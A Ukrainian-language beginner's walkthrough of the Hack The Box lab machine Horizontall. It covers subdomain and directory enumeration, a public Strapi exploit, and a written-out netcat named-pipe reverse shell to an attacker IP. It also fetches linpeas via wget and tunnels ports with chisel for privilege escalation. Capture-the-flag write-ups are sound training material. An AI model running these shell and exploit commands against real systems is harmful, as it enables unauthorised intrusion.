HTB Horizontall чи як достукатися до небес? # для найменших

Введення

Починаю публікацію рішень машин з майданчика HackOneBox. Сподіваюся цей туторіал стане невеликою підказкою тим, хто тільки починає свій шлях в етичному зломі. Почнемо....

Для успішного проходження необхідно:

  • Знати, що таке експлойт
  • Вміти "" правильно "гуглити

У підсумку ми дізнаємося:

  • Як шукати точку входу
  • Що потрібно для підвищення привілеїв
  • Чому прокинути порт стало так просто

Розвідка

Саме з розвідки починається будь-яка атака на цільову систему. Необхідно зрозуміти, що взагалі можна атакувати. Використовуємо сканер nmap.

nmap -A -sC -sV -Pn 10.10.11.105 -p-.

Отримали наступне:

Будь-який порт є потенційною точкою входу, але маючи невеликий досвід перебування на даному майданчику можу сказати: "22 порт не наш варіант" ". Користувачі тут хитромудрі і паролі у них серйозні. Наша мета - 80 порт. їдемо далі..

Для початку додамо IP атакуваної машини в файл/etc/hosts, що звертатися за доменною назвою.

Чудово! Відвідаємо веб-сайт, може знайдемо щось цікаве...

Рекомендую «побіжно» переглядати код сторінки. У ньому може завалятися чутлива інформація (паролі, версії використовуваного ПЗ, корисні посилання). Далі перебір директорій, але тут, на жаль dirbuster не справляється...

Будь-яка поважаюча себе компанія буде використовувати в своїх цілях кілька доменів. Це наступне, що необхідно перевірити. Машини з HTB знаходяться в vpn мережі, пошук піддоменів через онлайн сервіси до результату точно не призведе. Для цього відмінно підійде утиліта wfuzz.

wfuzz -w subdomain.txt -u 'http://horizontall.htb/' -H ""Host: FUZZ.horizontall.htb"" --hc 301

І через деякий час...

Цей піддомін потрібно додати до файла/etc/hosts і відразу перевірити на наявність цікавих каталогів.

gobusterdir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt,php –e

Точка входу

CMS Strapi. Трохи погуглити... Точку входу знайдено!

Застосовуємо експлойт.

python3 50239.py http://api-prod.horizontall.htb/

Екплойт працює, shell є!

Я відразу піднімаю у себе локальний сервер (nc -nvlp 1234) і отримую зворотний shell (rm/tmp/f; mknod /tmp/f p;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 1234 > /tmp/f). Всі зворотні shells наведені тут. Я використовував вивід команд через файл (rm/tmp/f; mknod/tmp/f p; cat/tmp/f), оскільки при звичайному підключенні (nc 10.10.14.10 1234) вивід команд не відображається. Це пов'язано з налаштуваннями цільової системи, а саме з тим, що користувач strapi за замовчуванням не має інтерактивної оболонки.

Для зручності перейдемо в bash.

python3 -c 'import pty;pty.spawn(""/bin/bash"")'

Підвищення привілеїв

Для підвищення привілеїв я використовую проект linpeas.sh. Попередньо піднявши сервер (python3 -m http.server) і закачавши його на атакуючу машину (wget http://10.10.14.10:8000/linpeas.sh).

Запускаємо скрипт і чекаємо пару хвилин

sh linpeas,sh

Цей скрипт дозволяє збирати інформацію про систему, версії використовуваного ПЗ, відкриті порти тощо.

База даних mysql, а ось на 8000 порту може бути щось цікаве.

Як достукатися?

Отже, ми підійшли до найголовнішого в цій статті. Прокидання порту - штука корисна, але трохи не зрозуміла. Раніше я прокидав як описано тут. Для успішного прокидання потрібно або знайти пароль користувача, або налаштувати свою ssh службу (яка за замовчуванням не налаштована).

Скрипт із завданням впорався і знайшов пароль, але він, на жаль не підходить

А ще з пробосом через ssh існує море проблем...

  • Таймінги
  • Користувачеві не можна використовувати ssh
  • З'єднання логується
  • ssh, зазвичай стежать

Полазивши в інтернеті, я знайшов цікаве ПЗ, яке дозволяє прокинути порт за лічені секунди. Зустрічайте, chisel. Дане ПЗ складається з двох компонентів: сервера і клієнта. Сервер піднімаємо у себе, а клієнт на цільовій системі.

Не забудьте дати клієнтові право на виконання.

Виходить, що між нашими машинами був створений свого роду тунель. Більш детально про це можна подивитися в цьому відео. Тепер звернемося до 8001 порту, через localhost.

Пошук експлойту в інтернеті не зайняв багато часу.

Використовуємо.

Отримуємо shell як описано вище.

Тачку пройдено! Всім вдалого злому.